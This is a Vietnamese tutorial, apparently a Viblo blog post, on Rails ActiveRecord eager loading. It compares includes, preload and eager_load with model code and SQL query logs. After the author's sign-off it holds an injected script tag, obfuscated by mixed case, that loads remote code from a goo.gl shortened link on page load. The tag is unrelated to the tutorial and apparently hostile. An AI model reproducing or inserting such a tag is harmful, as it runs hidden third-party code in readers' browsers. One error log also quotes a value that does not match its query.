-1

Cơ bản về eager_loading

Hôm nay mình xin được hướng dẫn các bạn về ý nghĩa và cách sử dụng cơ bản của một kĩ thuật truy vấn trong cơ sở dữ liệu (cụ thể ruby) đó là eager_loading: includes, preload, eager_load

Để hiểu về cách sử dụng mình sẽ đưa ra 1 ví dụ nhỏ như sau:

  class Category < ActiveRecord::Base
    has_many :words, dependent: :destroy
  end

  class Word < ActiveRecord::Base
    belongs_to :category
  end

Ta sẽ lấy ra một số giá trị của Category

  categories = Category.take(5)
  categories.each do |category|
      category.words.first.title
  end

Và hãy xem câu lệnh truy vấn nó thực hiện

Word Load (0.4ms)  SELECT  "words".* FROM "words" WHERE "words"."category_id" = ?  ORDER BY "words"."id" ASC LIMIT 1  [["category_id", 1]]
Word Load (0.2ms)  SELECT  "words".* FROM "words" WHERE "words"."category_id" = ?  ORDER BY "words"."id" ASC LIMIT 1  [["category_id", 2]]
Word Load (0.1ms)  SELECT  "words".* FROM "words" WHERE "words"."category_id" = ?  ORDER BY "words"."id" ASC LIMIT 1  [["category_id", 3]]
Word Load (0.1ms)  SELECT  "words".* FROM "words" WHERE "words"."category_id" = ?  ORDER BY "words"."id" ASC LIMIT 1  [["category_id", 4]]
Word Load (0.1ms)  SELECT  "words".* FROM "words" WHERE "words"."category_id" = ?  ORDER BY "words"."id" ASC LIMIT 1  [["category_id", 5]]

Chúng ta thấy nó được chia thành rất nhiều câu lệnh nhỏ. Và bây giờ hãy xem chúng ta sử dụng includes thì kết quả sẽ thế nào

  categories = Category.includes(:words).take(5)
  categories.each do |category|
      category.words.first.title
  end

Và kết quả

Word Load (0.3ms)  SELECT "words".* FROM "words" WHERE "words"."category_id" IN (1, 2, 3, 4, 5)

Nó chỉ sử dụng 1 query với thời gian cũng ngắn hơn. Điều xảy ra cũng tương tự nếu ta sử dụng preload và eager_load.

Tiếp theo mình sẽ nói về điểm khác nhau cơ bản giữa includes, preload và eager_load. Về cơ bản includes và preload rất giống nhau.

Xét ví dụ sau

 Category.includes(:words)
 =>
 Category Load (0.4ms)  SELECT "categories".* FROM "categories"
 Word Load (0.7ms)  SELECT "words".* FROM "words" WHERE    "words"."category_id" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)

 Category.preload(:words)
 =>
 Category Load (0.6ms)  SELECT "categories".* FROM "categories"
  Word Load (0.7ms)  SELECT "words".* FROM "words" WHERE "words"."category_id" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)

 Category.eager_load(:words)
 =>
   SQL (0.7ms)  SELECT "categories"."id" AS t0_r0, "categories"."name" AS t0_r1, "categories"."created_at" AS t0_r2, "categories"."updated_at" AS t0_r3, "words"."id" AS t1_r0, "words"."title" AS t1_r1, "words"."picture" AS t1_r2, "words"."category_id" AS t1_r3, "words"."created_at" AS t1_r4, "words"."updated_at" AS t1_r5 FROM "categories" LEFT OUTER JOIN "words" ON "words"."category_id" = "categories"."id"

Bây giờ hãy xét xem ví dụ tiếp theo

Category.includes(:words).where("words.id = '2'")
Category.preload(:words).where("words.id = '2'")
Category.eager_load(:words).where("words.id = '2'")

Và kết qủa là với includes và preload thì

ActiveRecord::StatementInvalid: SQLite3::SQLException: no such column: words.id: SELECT "categories".* FROM "categories" WHERE (words.id = '1')

Còn với eager_load thì thực hiện bình thường

SELECT "categories"."id" AS t0_r0, "categories"."name" AS t0_r1, "categories"."created_at" AS t0_r2, "categories"."updated_at" AS t0_r3, "words"."id" AS t1_r0, "words"."title" AS t1_r1, "words"."picture" AS t1_r2, "words"."category_id" AS t1_r3, "words"."created_at" AS t1_r4, "words"."updated_at" AS t1_r5 FROM "categories" LEFT OUTER JOIN "words" ON "words"."category_id" = "categories"."id" WHERE (words.id = '2')
=> #<ActiveRecord::Relation [#<Category id: 1, name: "Jarrod", created_at: "2016-07-28 07:48:29", updated_at: "2016-07-28 07:48:29">]>

Trên đây là những gì cơ bản mình học được, sẽ còn nhiều thiếu sót và có thể sai xót, mong mọi người chia sẻ và góp ý kiến thêm. Thankyou!

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí